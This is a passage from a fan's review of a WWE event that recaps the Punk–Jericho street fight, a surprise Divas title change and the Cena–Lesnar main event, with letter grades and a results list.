Jericho gets in her face and gets slapped. He charges at her and that makes Punk snap. In something I’ve never seen before, Punk rips the top off the announce table and puts Jericho through the top of it. He tries a piledriver but Jericho shoves him off and takes over again, ramming him into the barricade which gets two in the ring. Chinlock time but it doesn’t last long. We lose a turnbuckle and Jericho fires off on Punk’s back with the kendo stick.

Jericho heads to the floor and finds a beer under the ring. That gives Punk a chance to catch his breath and he comes back with kendo stick shots to the back. Jericho comes back again and they go to the corner with Punk knocking him into Macho Elbow position. That only gets two as this is getting good. GTS is countered and Jericho throws him into a chair wedged between the ropes for two.

Codebreaker puts Punk down and Jericho smiles. He doesn’t cover but sets up the Walls. It’s the Liontamer and Punk is in trouble. Now it’s just the Walls because the Liontamer is too hard to get out of. Punk gets the rope but Jericho doesn’t let go because it’s a street fight. The champ finds a fire extinguisher under the ring and Jericho is kind enough to look over at him so it can be blasted into his face.

They go to the floor and Punk fires off some kicks. Jericho is laid out on the table so Punk goes up top and almost falls off the top. Now the Macho Elbow hits in a great looking dive. Jericho is holding the back of his head and seems mad at a chair. Back in the ring that somehow only gets two so Punk throws on the Anaconda Vice. Jericho tries for the kendo stick and gets in enough shots to Punk’s head to break the hold. Punk hits him in the ribs with a chair but Jericho grabs it for a Codebreaker which gets two. Jericho tries a GTS but Punk counters into a slingshot into the exposed buckle. GTS keeps the title at 25:10.

Rating: B+. This took awhile to get going but the near falls at the end were great. I don’t think anyone expected Punk to lose here and it wouldn’t have been right for him to. There’s no need for this feud to continue now as Punk has pinned Jericho and made him tap so there’s nothing left to prove. I’m not sure where either of them goes next but it should be interesting. Very good match.

Punk dives into the fans post match.

Eve is in the back and tells Beth there’s no medical clearance for her tonight. She says she’ll get the title back someday. Nikki doesn’t get the night off though and it’s a surprise opponent. Eve: “Don’t worry it’s not Kharma.”

Divas Title: Nikki Bella vs. ???

It’s Layla, who at least looks better than Kharma. She’s been gone what, a year? This is your basic Divas match with the Bellas trying to switch after a spin kick and Layla countering the facejam into the Layout Neckbreaker for the pin at the title at 2:26.

Ace says what he was on the phone with HHH about isn’t Striker’s business.

We recap Cena vs. Lesnar which I don’t think needs an explanation. This includes the 853rd instance of the sitdown interview from Raw two weeks ago.

John Cena vs. Brock Lesnar

This is an Extreme Rules match which means they’re in wrestling gear. Well Lesnar is in MMA gear but you get the idea. The fans are more behind Cena than Lesnar. Cena charges right into a takedown and Brock comes at him with the strikes. Cena is cut on the left side of his head. Cena grabs a quick front facelock but Lesnar is WAY too strong. He poundso n Cena even more and the doctor comes in to check the cut. The replay shows that it was an elbow to the head. They close or at least stop the cut and go back to it.

Cena charges in again and Lesnar pounds him right down. Brock hammers on him and knocks Cena to the floor with a knee. The doctors stop it AGAIN to check the cut. Cena hits a quick elbow and tries the FU but Lesnar escapes and hits two rolling Germans. Lesnar’s Gonna Kill You chant. Cena comes back with some elbows and the shoulder block but there goes the referee.

Cena hits the ropes again but Lesnar runs him over. Lesnar goes for the open wound and rubs Cena’s blood on his own chest. Brock throws on an armbar (screw that kimura crap. This is wrestling) and then throws Cena to the floor instead of cranking on it. To the floor and Brock throws it on again but lets it go a second time, throwing Cena into the barricade.

Back in and Lesnar gets Cena’s chain and lock. He puts it down and chains Cena’s feet together. Cena gets up and Brock hits what might have been the hardest clothesline I’ve ever seen. With the legs still tied together, Brock puts him in the Tree of Woe. Brock goes after the referee but Cena escapes. That goes badly again as Brock whips him into the steps. AA is countered again into an F5 attempt but Cena’s legs hit the referee.

A second referee comes out but Lesnar throws him out too. The steps are brought in and Cena says Brock can’t see him. Back into the armbar and this time there’s a body vice. They’re on the steps and the fans care cheering for Cena. He picks Brock up into kind of a spinebuster but his arm is hanging limp. Cena goes up but misses the Fameasser. He was about an inch from hitting the steps too.

Cena rolls to the floor and is spent. Lesnar looks around bur can’t find Cena. He gets up on the steps and sees Cena (hehe) who can barely get back in. Cena gets up on the apron so Lesnar gets a running start from the steps and hits kind of a Poetry In Motion move but crashes to the floor and hurts his knee. He’s fine but Cena has the chain. Brock charges again and Cena gets in the chain shot to clock Lesnar. I think Brock is busted now. Oh yeah he is and Cena’s head has a lot of blood there too. An AA onto the steps gives Cena the pin at 18:05.

Rating: A. WOW. This is going to be a disputed rating but this was an absolute war. Cena got one homerun shot to win it but that’s all he needed. Lesnar dominated about 95% of the match but it was good enough to make both guys look great. Lesnar can come back but Cena has the first win, which sets up a rematch where Lesnar can beat him. I had a blast with this and Lesnar looks AMAZING.

Cena poses on the steps to end the show. Scratch that as he wants a mic. He sits on the steps and says that he’s going to get sent home for speaking when he’s not spoken to. Cena says that he’s going to go home for this anyway. He knows this is Punk’s town but above all else, this is a wrestling town. Tonight the people were supposed to see the extreme and that’s what they got. He can’t feel his arm and he’s glad it was in Chicago. Everyone gives everything they have every night and if he has to take a vacation so be it. Thanks for one last ride and get home safe. What…..what just happened here?

Overall Rating: A. I had a good time with this show. It started off weak but MAN the last few matches were hitting on all cylinders. Even the Divas match wasn’t that bad. The main event was something totally different than we’ve seen in a long time and that’s what it needed to be. I was thinking this would be a good show and the big stuff hit perfectly. Good stuff here and worth checking out.

Results
Randy Orton b. Kane – RKO onto a chair
Brodus Clay b. Dolph Ziggler – Splash
Cody Rhodes b. Big Show – Cody dropkicked Show through a table
Sheamus b. Daniel Bryan – Sheamus won two falls to one
Ryback b. Aaron Relic/Jay Hatton – MuscleBuster to Hatton
CM Punk b. Chris Jericho – GTS
Layla b. Nikki Bella – Layout
John Cena b. Brock Lesnar – AA onto the steps

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